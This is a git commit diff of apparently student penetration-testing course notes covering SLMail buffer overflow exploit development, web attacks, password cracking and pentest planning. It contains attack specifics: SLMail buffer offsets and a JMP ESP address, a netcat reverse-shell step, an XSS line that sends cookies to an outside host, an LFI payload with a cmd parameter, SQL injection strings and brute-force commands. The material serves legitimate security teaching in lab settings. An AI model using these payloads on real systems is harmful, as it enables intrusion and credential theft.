vault backup: 2025-03-16 18:59:42
This commit is contained in:
@@ -3,4 +3,3 @@
|
||||
|
||||
- Created pattern of 2900 bytes, created slmail.py
|
||||
- 
|
||||
-
|
@@ -0,0 +1,9 @@
|
||||
- In OWASP Broken Web Applications Project, use either the
|
||||
- OWASP Mutillidae II
|
||||
- or DVWA
|
||||
- Demonstrate you can obtain a shell with the following
|
||||
- An LFI vulnerability in the web application with file upload;
|
||||
- An LFI vulnerability in the web application with contaminated logs; and
|
||||
- An RFI vulnerability in the web application.
|
||||
- Demonstrate attacks using SQL injection and Cross Site Scripting
|
||||
- Provide documentation and proof of useful attacks in your report
|
@@ -1,11 +1,9 @@
|
||||
- “Scope” - describe what you intend to do and what you are aiming to find
|
||||
- “Permission to test” - outline why you believe this is a legal and ethical thing for you to
|
||||
do in this assignment (or describe if you have to do it in a particular way in order to make
|
||||
sure you stay legal and ethical even if this will limit the amount of information that you
|
||||
- “Scope” - describe what you intend to do and what you are aiming to find
|
||||
- “Permission to test” - outline why you believe this is a legal and ethical thing for you to
|
||||
do in this assignment (or describe if you have to do it in a particular way in order to make
|
||||
sure you stay legal and ethical even if this will limit the amount of information that you
|
||||
are able to find
|
||||
|
||||
|
||||
|
||||
| Action No | Scope: Summary of Intention | Permission to Test: Outline of Legal and Ethical Justification | Allow/Reject |
|
||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ |
|
||||
| 1 | I would use WHOIS / Recon-NG to find website registrar identities and the ASN of the company. This would provide me with a list of identities, and their emails, that may have access to infrastructure, or elevated permissions. | I believe this is legal as WHOIS is a public database of registrar information. No information found through WHOIS is sensitive, and has been published by the company, rather than found - no ethical issues with WHOIS | |
|
||||
|
@@ -43,4 +43,4 @@ Key component of ethical hacking and pentesting.
|
||||
- ls - list items in directory
|
||||
- enumdesktops - list all accessible desktops
|
||||
- screenshot - grab screenshot of meterpreter desktop
|
||||
- idletime - checks how long target has been idle
|
||||
- idletime - checks how long target has been idle
|
||||
|
@@ -35,30 +35,34 @@ If source code not available:
|
||||
- ESP - Stack pointer (last item on the stack)
|
||||
- EBP - Stack frame base pointer and reference to arguments and local variables
|
||||
- EIP - Pointer to the next instruction to execute (“instruction pointer”)
|
||||
|
||||
### Segment Registers
|
||||
- CS : Holds the address to the Code segment of the program
|
||||
- DS : Holds the address to the Data segment of the program
|
||||
- SS : Holds the address to the Stack segment of the program
|
||||
|
||||
- CS : Holds the address to the Code segment of the program
|
||||
- DS : Holds the address to the Data segment of the program
|
||||
- SS : Holds the address to the Stack segment of the program
|
||||
- ES,FS,GS : Hold the address to the extra segments
|
||||
|
||||
### Flags
|
||||
- Zero Flag (ZF) - Set if the result of some instruction is zero; cleared otherwise.
|
||||
- Sign Flag (SF) - Set equal to the most-significant bit of the result, which is the sign bit of a signed integer. (0 indicates a positive value and 1 indicates a negative value)
|
||||
- Carry Flag (CF): Set if an arithmetic operation generate a carry or a borrow out of the most significant bit of the result, cleared otherwise
|
||||
- Parity Flag (PF): Set if the least-significant byte of the result contains an even number of 1 bit, cleared otherwise.
|
||||
- Overflow Flag (OF): Set if the integer result is too large a positive number or too small a negative number, excluding the sign bit, to fit in the destination operand, cleared otherwise. This flag indicates an overflow condition for signed-integer that is two’s complement arithmetic.
|
||||
|
||||
- Zero Flag (ZF) - Set if the result of some instruction is zero; cleared otherwise.
|
||||
- Sign Flag (SF) - Set equal to the most-significant bit of the result, which is the sign bit of a signed integer. (0 indicates a positive value and 1 indicates a negative value)
|
||||
- Carry Flag (CF): Set if an arithmetic operation generate a carry or a borrow out of the most significant bit of the result, cleared otherwise
|
||||
- Parity Flag (PF): Set if the least-significant byte of the result contains an even number of 1 bit, cleared otherwise.
|
||||
- Overflow Flag (OF): Set if the integer result is too large a positive number or too small a negative number, excluding the sign bit, to fit in the destination operand, cleared otherwise. This flag indicates an overflow condition for signed-integer that is two’s complement arithmetic.
|
||||
- 
|
||||
|
||||
### Push / Pop
|
||||
PUSH src
|
||||
- src operand can be a register or immediate
|
||||
- In a DWORD scenario, the PUSH instruction automatically decrements the stack pointer by 4, i.e., sp <- sp-4
|
||||
|
||||
PUSH src
|
||||
|
||||
- src operand can be a register or immediate
|
||||
- In a DWORD scenario, the PUSH instruction automatically decrements the stack pointer by 4, i.e., sp <- sp-4
|
||||
POP src
|
||||
- Src operand can be a register
|
||||
- Src operand can be a register
|
||||
- In a DWORD scenario, the POP instruction automatically takes a DWORD off the stack, puts in a register and increments the stack pointer by 4, i.e., sp <- sp+4
|
||||
|
||||
#### Examples of PUSH / POP
|
||||
|
||||

|
||||

|
||||
|
||||
|
@@ -1,53 +1,53 @@
|
||||
1. **Introduction**
|
||||
|
||||
|
||||
- Definition and reminder of key concepts from the previous week:
|
||||
- Buffer Overflow: A process using more memory than it has been allocated.
|
||||
- The Stack: Last-In-First-Out (LIFO) data structure where CPU registers can be stored and retrieved.
|
||||
- ESP (Extended Stack Pointer): Points to the top of the stack at a lower memory location.
|
||||
- EIP (Extended Instruction Pointer): Stores the address of the next instruction to be executed.
|
||||
2. **Fuzzing**
|
||||
|
||||
|
||||
- Fuzzing involves sending malformed data into an application input and watching for unexpected crashes.
|
||||
- It helps discover vulnerabilities by sending varying lengths of data to identify buffer overflow conditions.
|
||||
- Fuzzing tools and resources: FuzzDB (https://github.com/fuzzdb-project/fuzzdb).
|
||||
- Fuzzing tools and resources: FuzzDB (<https://github.com/fuzzdb-project/fuzzdb>).
|
||||
3. **Fuzzing Example: SLMail 5.5.0 Mail Server**
|
||||
|
||||
|
||||
- Installed the vulnerable SLMail application.
|
||||
- Used a Python fuzzer script (`fuzzer.py`) from Kali Linux to send varying-length passwords to the POP3 server.
|
||||
- Employed Immunity Debugger to monitor the SLMail process and observe the stack overwrites.
|
||||
4. **Controlling EIP (Extended Instruction Pointer)**
|
||||
|
||||
|
||||
- Sent a unique, non-repeating string of 2900 bytes to identify the specific characters that overwrite the EIP register.
|
||||
- Used Metasploit’s `pattern_create.rb` and `pattern_offset.rb` scripts to find the exact position of the overwritten EIP.
|
||||
- Modified the buffer in the Python exploit script to control the EIP register: `buffer = "A" * 2606 + "B" * 4 + "C" * 90`.
|
||||
5. **Find Space in Memory for Shellcode**
|
||||
|
||||
|
||||
- Dumped the memory at the time of the crash to identify a suitable location for placing shellcode.
|
||||
- Used Metasploit’s `msfvenom` tool to generate a payload for a reverse shell, ensuring it excluded bad characters identified earlier.
|
||||
- Increased the length of the buffer to accommodate the generated shellcode.
|
||||
6. **The Problem of Bad Characters**
|
||||
|
||||
|
||||
- Identified bad characters (e.g., null byte `0x00`, newline `\n` `0x0A`, carriage return `\r` `0x0D`) that could truncate the shellcode or cause other issues.
|
||||
- Sent all possible characters (0x00 to 0xff) as part of the buffer and observed how they were dealt with by the application after the crash.
|
||||
7. **Generating the Shellcode Payload**
|
||||
|
||||
|
||||
- Used Metasploit’s `msfvenom` tool to generate a shellcode payload with excluded bad characters.
|
||||
- Included the generated shellcode payload into the Python exploit script.
|
||||
8. **Redirecting the Execution Flow**
|
||||
|
||||
|
||||
- Searched for a “JMP ESP” instruction or the two-instruction sequence “PUSH ESP; RET” within SLMail’s modules using Immunity Debugger and Mona.py script.
|
||||
- Found a suitable JMP ESP instruction at address `5F4A358F` in the SLMFC.DLL module.
|
||||
- Replaced the overwritten EIP ("B"s) with the discovered JMP ESP address in the exploit script.
|
||||
9. **NOP Sled**
|
||||
|
||||
|
||||
- Added a sequence of No Operation (NOP) instructions (`0x90`) at the beginning of the shellcode to create a “NOP sled.”
|
||||
- This allowed for some flexibility in transferring execution to the shellcode without precisely controlling branching.
|
||||
10. **Getting a Shell**
|
||||
|
||||
|
||||
- Set up a netcat (nc) listener on the attacker machine to receive incoming connections from the exploited target.
|
||||
- Ran the exploit script against the SLMail application, and upon successful exploitation, obtained a shell on the target machine.
|
||||
11. **Assignment Task 1**
|
||||
|
||||
|
||||
- Students were tasked to develop a working exploit for the `VulnNewApp.exe` application using the provided proof-of-concept script (`vulnapp_POC_script.txt`) and document their process in a report, including screenshots of each step.
|
||||
|
||||
Throughout the lecture slides, the document emphasizes hands-on learning and practical exercises using tools like Kali Linux, Immunity Debugger, Metasploit Framework, and Python scripting. It covers essential concepts in exploit development, buffer overflows, and fuzzing to help students understand and apply these techniques in network penetration testing.
|
||||
Throughout the lecture slides, the document emphasizes hands-on learning and practical exercises using tools like Kali Linux, Immunity Debugger, Metasploit Framework, and Python scripting. It covers essential concepts in exploit development, buffer overflows, and fuzzing to help students understand and apply these techniques in network penetration testing.
|
||||
|
@@ -9,7 +9,7 @@
|
||||
- Start SLmail on Windows 7 VM.
|
||||
- Run Immunity Debugger as an administrator. To make the font more legible, right-click on the black area > appearance > font > OEM.
|
||||
4. **Attach SLmail to ID:**
|
||||
- In Immunity Debugger, go to `File > Attach...`, select the SLmail process, and click 'Open'.
|
||||
- In Immunity Debugger, go to `File > Attach…`, select the SLmail process, and click 'Open'.
|
||||
- Set the debugger to "Running" state by clicking on the "Running" button in the toolbar.
|
||||
5. **Run the fuzzer:**
|
||||
- Open a terminal on Parrot OS and navigate to the scripts directory.
|
||||
@@ -41,10 +41,10 @@
|
||||
- Use `!mona find -s "\xff\xe4" -m slmfc.dll` to search for the FF E4 opcode in slmfc.dll and choose an address (e.g., `0x5f4a358f`) as the new EIP.
|
||||
14. **Prepare exploit script:**
|
||||
- Replace `Bs` in the exploit script (e.g., `exploit.rb`) with the address chosen earlier.
|
||||
- Add a NOP sled (e.g., `\x90` _16_) before the JMP ESP address to account for any slight miscalculations or fluctuations in memory layout.
|
||||
- Add a NOP sled (e.g., `\x90` *16*) before the JMP ESP address to account for any slight miscalculations or fluctuations in memory layout.
|
||||
- The exploit script should look something like this: `"\x90" * 16 + "\xff\x\xe4" + "\xbe\xxx\xxxx\xxx\xxx"`. Replace `Bs` with the chosen address.
|
||||
15. **Start netcat listener:**
|
||||
- On Parrot OS, run `nc -lvp 443` to start a netcat listener on port 443.
|
||||
16. **Run exploit:**
|
||||
- Execute the prepared exploit script with `ruby exploit.rb <Windows 7 VM IP address> 49500`.
|
||||
- Once the exploit triggers, you should get a shell on the Windows 7 VM.
|
||||
- Once the exploit triggers, you should get a shell on the Windows 7 VM.
|
||||
|
@@ -6,14 +6,15 @@ Stack = LIFO structure where CPU registers are stored at and retrieved from
|
||||
Can inject malicious code using buffer overflow
|
||||
|
||||
# Fuzzing
|
||||
- Sending malformed data into application input and watching for unexpected crashes. Unexpected crash indicated application might not filter certain input correctly.
|
||||
|
||||
- To develop an exploit for application X on OS Y,
|
||||
- Sending malformed data into application input and watching for unexpected crashes. Unexpected crash indicated application might not filter certain input correctly.
|
||||
- To develop an exploit for application X on OS Y,
|
||||
- X, Y and debugger needed on same VM
|
||||
- Another VM to fuzz the target VM
|
||||
- Cant do remotely on running server (though if developed correctly, exploit should work on any instance of application X running on OS Y)
|
||||
|
||||
## SLMail
|
||||
|
||||
Using a python script, we can repeatedly connect to the POP3 server, attempting to send varying length growing buffer to the password field each time
|
||||
Unauthenticated user can attempt to login providing a long password.
|
||||
|
||||
@@ -23,20 +24,18 @@ The EIP register has been overwritten with opur input buffer of A's (\\x41)
|
||||
As EIP register controls execution flow of application, if we make our exploit buffer carefully, could divert execution of the program to a place in memory where reverse shell code can be introduced in memory.
|
||||
|
||||
## Controlling EIP
|
||||
|
||||
- Getting control of the EIP register is an important part of exploit development
|
||||
- Need to find out which A characters ended up in the EIP and identify the location of 4 unique bytes that overwrite the EIP Register.
|
||||
- Can send 2900 bytes of unique non-repeating characters.
|
||||
- User pattern_create.rb script in Kali to generate such a string:
|
||||
- `/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2900`
|
||||
|
||||
- Using this unique stream of characters, instead of our 2900 A's into our python script, check EIP overwrite in debugger.
|
||||
- Note ESP and EIP register values in next crash
|
||||
- EIP has been replaced by the 39694438 hex characters, equivalent to 8Dj9
|
||||
|
||||
- We need to find exact position of these characters.
|
||||
- Can now use the pattern_offset.rb script along with the create script to discover the offset of these specific 4 bytes in our unique byte string.
|
||||
- `/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2900 -q 39694438`
|
||||
|
||||
- Sending this new buffer to SLMail POP3 server produces a crash in the debugger.
|
||||
- Check ESP and EIP registers
|
||||
- This time ESP has different value to first crash
|
||||
@@ -44,7 +43,8 @@ As EIP register controls execution flow of application, if we make our exploit b
|
||||
- How to direct execution flow?
|
||||
- Would like to include our own shell code inside buffer and redirect program flow to execute our shell code.
|
||||
|
||||
### Find Space in memory for Shell Code
|
||||
### Find Space in Memory for Shell Code
|
||||
|
||||
- By dumping memory at time of crash, ESP register points directly to beginning of our buffer of C's. Seems like a convenient location to place shellcode as easily accessible through EIP register.
|
||||
- Metasploit framework can automatically generate shellcode payloads, standard Reverse Shell payload requires around 350-400 bytes of space.
|
||||
- Need to increase length of buffer to make room for reverse shell.
|
||||
@@ -57,11 +57,10 @@ As EIP register controls execution flow of application, if we make our exploit b
|
||||
- Depending on application, vuln type, and protocols, there may be certain characters that are considered bad and should not be used in our buffer, return address or shell code.
|
||||
- Common example is null (0x00). Characters truncate shellcode in memory
|
||||
- Easy way to check this is sending all possible characters, from 0x00 to 0xff as a part of our buffer and see how these characters are dealt with by the application after the crash occurs.
|
||||
|
||||
- A file containing all the possible hex characters can be found on Blackboard.
|
||||
- When including these in python exploit code, we will see the characters that get truncated in Immunity Debugger
|
||||
- One observation is that resulting memory dump for the ESP register shows that the character 0x0A seems to have truncated the rest of the buffer than comes after it.
|
||||
|
||||
### Generating Shellcode Payload
|
||||
|
||||
- Metasplot Framework provides us with tools and utilities that make generating complex payloads a simple task.
|
||||
- Metasplot Framework provides us with tools and utilities that make generating complex payloads a simple task.
|
||||
|
@@ -81,16 +81,19 @@ Malicious script sent to user
|
||||
- Recommendations for session IDs (OWASP)
|
||||
|
||||
### Method
|
||||
|
||||
Log in to application
|
||||
Provide service, user stays logged in
|
||||
Email info about session ID
|
||||
Other user can access website as first user
|
||||
|
||||
### Fixes
|
||||
|
||||
- Authentication linked to time
|
||||
- OWASP recommendations followed
|
||||
- Link session ID to IP address, TLS session, etc.
|
||||
Reconnaissance Assignment
|
||||
|
||||
## [OWASP Top-10](https://owasp.org/Top10/) Web Application Risks (as of 2017):
|
||||
|
||||
- Injection, Broken Authentication, Sensitive Data Exposure, XML External Entity (XXE), Security Misconfiguration, Cross-Site Scripting (XSS), Insecure Deserialization, Using Components with Known Vulnerabilities, Insufficient Logging & Monitoring
|
||||
@@ -109,4 +112,4 @@ Tampering - Can an attacker modify data as an application runs?
|
||||
Repudiation - If an attacker denies interaction, can we prove it?
|
||||
Information Disclosure - Can an attacker gain PII?
|
||||
Denial of Service - Can an attacker crash or reduce availability?
|
||||
Elevation of Privilege - Can an attacker assume the identity of a privileged user?
|
||||
Elevation of Privilege - Can an attacker assume the identity of a privileged user?
|
@@ -0,0 +1 @@
|
||||

|
@@ -0,0 +1,90 @@
|
||||
**Slide 1: Penetration Testing Process**
|
||||
|
||||
- **Phases of Penetration Testing**:
|
||||
- Pre-engagement (1)
|
||||
- Agreement on rules of engagement, scope, and objectives.
|
||||
- Intelligence gathering (2)
|
||||
- Passive reconnaissance: Information collected without interacting with the target.
|
||||
- Tools: Search engines, social media, DNSdumpster, etc.
|
||||
- Active reconnaissance: Information collected by interacting with the target.
|
||||
- Tools: Nmap, Zenmap, Wireshark, etc.
|
||||
- Threat modeling (3)
|
||||
- Identifying potential threats and vulnerabilities in the target system.
|
||||
- Vulnerability scanning (4)
|
||||
- Automated testing to identify vulnerabilities in the target system.
|
||||
- Tools: Nessus, OpenVAS, etc.
|
||||
- Exploitation (5)
|
||||
- Using exploits to gain unauthorized access to the target system.
|
||||
- Tools: Metasploit, Burp Suite, etc.
|
||||
- Post-exploitation (6)
|
||||
- Maintaining access to the target system and gathering sensitive information.
|
||||
- Tools: Mimikatz, BloodHound, etc.
|
||||
|
||||
**Slide 2: Public Exploits**
|
||||
|
||||
- **Finding reliable exploits**:
|
||||
- SecLists (<https://seclists.org/>)
|
||||
- Exploit-DB (<https://www.exploit-db.com/>)
|
||||
- **Offline exploit DB in Kali**:
|
||||
- `searchsploit` command
|
||||
```
|
||||
searchsploit <keyword>
|
||||
```
|
||||
|
||||
**Slide 3: Compiling Exploits**
|
||||
|
||||
- **Cross-compiling for Windows**:
|
||||
- Use `gcc` with specific flags to compile for Windows.
|
||||
```
|
||||
gcc -o exploit.exe exploit.c -m64 -lwininet
|
||||
```
|
||||
- **Lab Activity**: Fix and compile `646.c` to exploit SLMail on Windows 7 lab machine.
|
||||
|
||||
**Slide 4: Penetration Testing Execution Standard (PTES)**
|
||||
|
||||
- **Phases of PTES**:
|
||||
- Pre-engagement
|
||||
- Intelligence gathering
|
||||
- Threat modeling
|
||||
- Vulnerability scanning
|
||||
- Exploitation
|
||||
- Post-exploitation
|
||||
- Reporting
|
||||
|
||||
**Slide 5: Post-Exploitation**
|
||||
|
||||
- **Goals of post-exploitation**:
|
||||
- Determine the value of the compromised machine.
|
||||
- Maintain control for later use.
|
||||
- Identify and document sensitive data.
|
||||
- Set up access methods for later use.
|
||||
|
||||
**Slide 6: Infrastructure Analysis**
|
||||
|
||||
| Category | Information to gather |
|
||||
| --- | --- |
|
||||
| Network information | Configuration, interfaces, routing, DNS servers, ARP entries, proxy servers, listening services, neighbour discovery protocols, wireless keys |
|
||||
| Pillaging | Startup items, login items, security services, file and print shares, databases, source code management systems, virtualisation, messaging systems, backup systems |
|
||||
| Documents | Spreadsheets, word documents, databases, password files |
|
||||
| History | Command history, USB activity, web history, patching history; log files, bookmarks |
|
||||
| Monitoring | Key logging, screen capture, webcam access, network traffic capture |
|
||||
|
||||
**Slide 7: Escalation and Persistence**
|
||||
|
||||
- **Privilege escalation techniques**:
|
||||
- Exploit higher privileged process.
|
||||
- Inject into higher privileged DLL.
|
||||
- Overwrite higher privileged executable file.
|
||||
- Trojan, rootkits, backdoor account/service.
|
||||
- **Persistence techniques**:
|
||||
- Reverse shell to single IP.
|
||||
- Backdoor service that survives reboot.
|
||||
|
||||
**Slide 8: Moving Things Around**
|
||||
|
||||
- **Uploading/downloading files**:
|
||||
- Use FTP with Kali acting as an FTP server.
|
||||
- **Privilege escalation example**:
|
||||
- `useradd.c` exploit for Windows 7 lab machine.
|
||||
|
||||
**Exercise**: Complete the lab activity on privilege escalation using `useradd.c` and verify high privilege access.
|
81
Penetration Testing/Week 22/Week 22 - Web Attacks.md
Normal file
81
Penetration Testing/Week 22/Week 22 - Web Attacks.md
Normal file
@@ -0,0 +1,81 @@
|
||||
**Slide 1: Web Application Attacks**
|
||||
- **Web applications** can be written in various languages, each with its specific vulnerability classes.
|
||||
- Main attack vectors are similar in concept.
|
||||
- OWASP promotes security awareness and solutions for web application development.
|
||||
|
||||
**Slide 2: OWASP Top-10 Security Risks**
|
||||
|
||||
| Risk | Description |
|
||||
| --- | --- |
|
||||
| A1:2017 - Injection | Attacker can add malicious SQL, NoSQL, or command strings. |
|
||||
| A2:2017 - Broken Authentication | Compromised credentials, weak defaults, or exposed keys. |
|
||||
| A3:2017 - Sensitive Data Exposure | Unprotected data at rest or in transit. |
|
||||
| A4:2017 - XML External Entity (XXE) | Attacker can exploit parsing of XML outside the standard. |
|
||||
| A5:2017 - Security Misconfiguration | Default configurations, open cloud storage, misconfigured HTTP headers. |
|
||||
| A6:2017 - Using Components with Known Vulnerabilities | Outdated or vulnerable libraries and frameworks. |
|
||||
| A7:2017 - Insufficient Logging & Monitoring | Lack of logging and monitoring prevents detection of attacks. |
|
||||
| A8:2017 - Insecure Deserialization | Vulnerable deserialization can lead to remote code execution. |
|
||||
| A9:2017 - Using Known Vulnerable Components without Patching | Outdated software with known vulnerabilities. |
|
||||
| A10:2017 - Insufficient Transport Layer Protection | Weak or no encryption, allowing man-in-the-middle attacks. |
|
||||
|
||||
**Slide 3: Cross-Site Scripting (XSS)**
|
||||
- Unsanitized user input displayed as HTML.
|
||||
- Allows malicious scripts to run in victim's browser.
|
||||
- Reflected (non-persistent): injected script runs immediately when the victim clicks the link.
|
||||
- Stored (persistent): web application delivers payload to the victim, script runs when viewed.
|
||||
- Impact: cookie stealing, authentication bypass, redirection.
|
||||
|
||||
**Slide 4: XSS Example**
|
||||
- Reflected XSS:
|
||||
|
||||
```html
|
||||
<h1>XSS demo</h1>
|
||||
<?php echo "Hello ". $_GET['name'];?>
|
||||
```
|
||||
|
||||
- Stored XSS:
|
||||
|
||||
```html
|
||||
<script>alert(1)</script>
|
||||
```
|
||||
|
||||
**Slide 5: Cookie Stealing via XSS**
|
||||
- JavaScript can make victim's browser send cookies to the attacker.
|
||||
|
||||
```javascript
|
||||
new Image().src="http://example.com/bogus.php?output="+document.cookie;
|
||||
```
|
||||
|
||||
**Slide 6: File Inclusion Vulnerabilities**
|
||||
- Local File Inclusion (LFI) and Remote File Inclusion (RFI):
|
||||
- LFI: includes local files.
|
||||
- RFI: introduces own code to the webserver.
|
||||
- Exploit depends on PHP versions and web server configurations.
|
||||
|
||||
**Slide 7: LFI Demonstration**
|
||||
- Unsanitized `lang` parameter:
|
||||
|
||||
```php
|
||||
<?php $lang=$_GET['lang']; include $lang.".php";?>
|
||||
```
|
||||
|
||||
- Payload:
|
||||
|
||||
```bash
|
||||
../uploads/avatars/image.jpg%00&cmd=ifconfig
|
||||
```
|
||||
|
||||
**Slide 8: SQL Injection**
|
||||
- Unsanitized user input passed to a database query.
|
||||
- Manipulating data can change the nature of the query.
|
||||
- Examples:
|
||||
- Bypassing authentication with `' OR '1'='1`
|
||||
- Extracting data using `' union select * from information_schema.columns --`
|
||||
|
||||
**Exercise:**
|
||||
- Using OWASP Broken Web Applications project, demonstrate obtaining a shell with:
|
||||
- An LFI vulnerability in the web application with file upload.
|
||||
- An LFI vulnerability in the web application with contaminated logs.
|
||||
- An RFI vulnerability in the web application.
|
||||
- Demonstrate attacks using SQL injection and Cross Site Scripting (XSS).
|
||||
- Provide documentation and proof of useful attacks in your report.
|
44
Penetration Testing/Week 23/Week 23 - Password Attacks.md
Normal file
44
Penetration Testing/Week 23/Week 23 - Password Attacks.md
Normal file
@@ -0,0 +1,44 @@
|
||||
**Slide 1: Password Attacks**
|
||||
- People are not good at remembering passwords, choosing easy ones (e.g., 123456), and reusing them.
|
||||
- Password entropy increases with length and character variation. Longer passwords and those with mixed characters (upper/lowercase, numbers, special symbols) have more entropy.
|
||||
- Using password managers and multi-factor authentication is recommended.
|
||||
|
||||
**Slide 2: Real-World Password Attacks**
|
||||
- Most common attacks target weak or default user/system passwords.
|
||||
- Brute force and dictionary attacks are common. Tools like `medusa` and `ncrack` automate these attacks.
|
||||
- Online password attacks target networked services like HTTP, SSH, FTP, SNMP, RDP.
|
||||
- Offline password attacks use captured password files and tools like `john the ripper`.
|
||||
- Key space brute force generates all possible combinations of characters for a given set and length.
|
||||
- Social engineering and shoulder-surfing can also be used.
|
||||
|
||||
**Slide 3: Online Password Attacks Example**
|
||||
- Example of an HTTP brute force attack using `medusa` against a protected web directory.
|
||||
- Command: `medusa -h <target> -u <username> -P /usr/share/wordlists/rockyou.txt -M http -m DIR:/npttest -T 10 -s`
|
||||
- Lessons: Be suspicious of the first password in a list, and don't put the correct one at the beginning when setting up demos.
|
||||
|
||||
**Slide 4: Key Space Brute-Force**
|
||||
- `crunch` tool generates custom wordlists with defined character sets and password formats.
|
||||
- Example: `crunch 6 6 0123456789ABCDEF -o test.txt` generates a list of 6-character hexadecimal passwords.
|
||||
- Password length quickly becomes unmanageable with more characters.
|
||||
|
||||
**Slide 5: John the Ripper Offline Cracking Tool**
|
||||
- `john` supports automatic mode, dictionary mode (using wordlists), and mangling rules.
|
||||
- Example commands:
|
||||
- Automatic mode: `john <password-file>`
|
||||
- Dictionary mode: `john --wordlist=/usr/share/wordlists/rockyou.txt <password-file>`
|
||||
- Mangling rules: `john --rules --wordlist=/usr/share/wordlists/rockyou.txt <password-file>`
|
||||
|
||||
**Slide 6: In-memory Attacks**
|
||||
- Abusing OS handling of passwords, particularly useful for Windows due to shared identities.
|
||||
- `pwdump` tool dumps SAM hashes by injecting a DLL into the LSASS process.
|
||||
|
||||
**Slide 7: Passing the Hash in Windows**
|
||||
- Pass-The-Hash (PTH) allows authentication using hashes rather than passwords.
|
||||
- `exploit/windows/smb/psexec` exploit with a reverse TCP meterpreter payload can be used for PTH.
|
||||
|
||||
**Slide 8: Task 3 – Password Attack**
|
||||
- Demonstrate various password attacks using different tools.
|
||||
- Target at least two protocols (e.g., HTTP, FTP, SSH, RDP).
|
||||
- Crack provided offline password hashes using wordlists and `crunch`.
|
||||
- Crack a password-protected Word file, `TradeSecret.docx`, using office2john or zip2john.
|
||||
- Perform an in-memory attack using PTH to authenticate into the Windows XP system.
|
@@ -1,12 +1,15 @@
|
||||
# Requirements
|
||||
|
||||
Scope
|
||||
- What will be tested
|
||||
|
||||
- What will be tested
|
||||
- Start and End dates
|
||||
- Customer Objectives
|
||||
- Strategic and Operational goals
|
||||
- Ensure requirements and expectations of customers being met
|
||||
|
||||
Rules of Engagement
|
||||
|
||||
- Detailed stages
|
||||
- Who is authorised
|
||||
- On or off site
|
||||
@@ -26,7 +29,6 @@ Legal Signoff
|
||||
- Data aggregation
|
||||
- Data exfil
|
||||
- Immature (NIST T1) would benefit from a vulnerability analysis than a full pentest
|
||||
|
||||
- Identify outsourced services
|
||||
- In scope?
|
||||
- Permission?
|
||||
@@ -43,7 +45,7 @@ Legal Signoff
|
||||
- Why customer has pentest performed against env?
|
||||
- Required for compliance?
|
||||
- When does customer want active testing conducted?
|
||||
- During business hours or out?
|
||||
- During business hours or out?
|
||||
- How many IPs tested (internal/external)
|
||||
- How should testing team proceed if vulnerability found?
|
||||
|
||||
@@ -90,7 +92,7 @@ Legal Signoff
|
||||
|
||||
# Questions
|
||||
|
||||
## For company
|
||||
## For Company
|
||||
|
||||
- Manage aware?
|
||||
- Main datum that would create greatest risk to organisation if exposed, corrupted or deleted?
|
||||
@@ -98,4 +100,4 @@ Legal Signoff
|
||||
- If no ISMS, lack maturity for test to be meaningful.
|
||||
- Testing and validations procedures to verify applications functioning in place?
|
||||
- Testers have access to QA testing procedures from when application developed?
|
||||
- Disaster Recovery Procedures in place for application data.
|
||||
- Disaster Recovery Procedures in place for application data.
|
||||
|
@@ -7,6 +7,4 @@
|
||||
`(inurl:login.cgi OR inurl:login.php OR inurl:login.js) AND site:ac.uk AND password`
|
||||

|
||||
|
||||
|
||||
1. https://hub.salford.ac.uk/sbs-disruptive-technologies/events/
|
||||
2.
|
||||
1. <https://hub.salford.ac.uk/sbs-disruptive-technologies/events/>
|
||||
|
@@ -1,4 +1,5 @@
|
||||
# Intelligence Gathering
|
||||
|
||||
- More information gathered, more vectors of attack may be able to use
|
||||
- Better knowledge of target, more likely to succeed
|
||||
- Better target company knows what is common knowledge, better it can prepare.
|
||||
@@ -21,7 +22,7 @@
|
||||
# Limits
|
||||
|
||||
- Gathering information to identify entry points
|
||||
- physical, electronic, human...
|
||||
- physical, electronic, human…
|
||||
- and try to map out internal structure
|
||||
- physical, network, organisational
|
||||
- and external dependencies
|
||||
@@ -53,7 +54,7 @@
|
||||
- Have a deadline
|
||||
- Make sure time allocated to use intelligence
|
||||
|
||||
# Passive vs Active Reconnaissance
|
||||
# Passive Vs Active Reconnaissance
|
||||
|
||||
## Passive
|
||||
|
||||
@@ -80,12 +81,11 @@
|
||||
- Passive recon using OSINT sources
|
||||
- Include some semi-passive recon
|
||||
- Write report, outlining what has been found and why company should be aware.
|
||||
|
||||
- Look for:
|
||||
- Corporate
|
||||
- Personal
|
||||
- Technical information
|
||||
- http://www.pentest-standard.org/index.php/Intelligence_Gathering
|
||||
- <http://www.pentest-standard.org/index.php/Intelligence_Gathering>
|
||||
|
||||
## How to Obtain Information
|
||||
|
||||
@@ -104,4 +104,3 @@
|
||||
- Some tools rely on network inspection between you and target
|
||||
- "Active Packet Sniffing" means specific things cause traffic to flow to you
|
||||
- "Passive Packet Sniffing" means you inspect the traffic that happens to come past sniffer.
|
||||
-
|
@@ -2,6 +2,7 @@ Identifying vulnerabilities leading to compromise, or mission objectives, identi
|
||||
|
||||
Identify attack surface presented to outside actors, bigger surface, bigger risk. Create clear scenarios relevant to organisation.
|
||||
Provides clarity to risk appetite and prioritisation.
|
||||
|
||||
- Importance of assets
|
||||
- Threat community relevance
|
||||
Emulates tools, techniques, capabilities, accessibility and general profile of attacker
|
||||
@@ -107,4 +108,4 @@ and2 --- xss[/XSS Vulnerability\]
|
||||
|
||||
### Asset-Centric Example
|
||||
|
||||

|
||||

|
||||
|
@@ -14,18 +14,20 @@ Operational Vulnerability is likely the worst
|
||||
# Quantification of Vulnerabilities
|
||||
|
||||
CVSS: Common Vulnerability Scoring System
|
||||
|
||||
- Uses principle characteristics of a vulnerability to produce a numerical score reflecting severity. Can be translated into qualitative representation (low->critical) to help organisations assess and prioritise vulnerability management processes
|
||||
- https://www.first.org/cvss
|
||||
- <https://www.first.org/cvss>
|
||||
|
||||
# Attack Patterns
|
||||
|
||||
CAPEC: Common Attack Pattern Enumeration and Classification
|
||||
|
||||
- Catalogue of common attack patterns that helps users understand how adversaries exploit weaknesses in applications and other capabilities.
|
||||
- https://capac.mitre.org/
|
||||
- <https://capac.mitre.org/>
|
||||
|
||||
# Search for Vulnerabilities
|
||||
|
||||
- https://cvedetails.com
|
||||
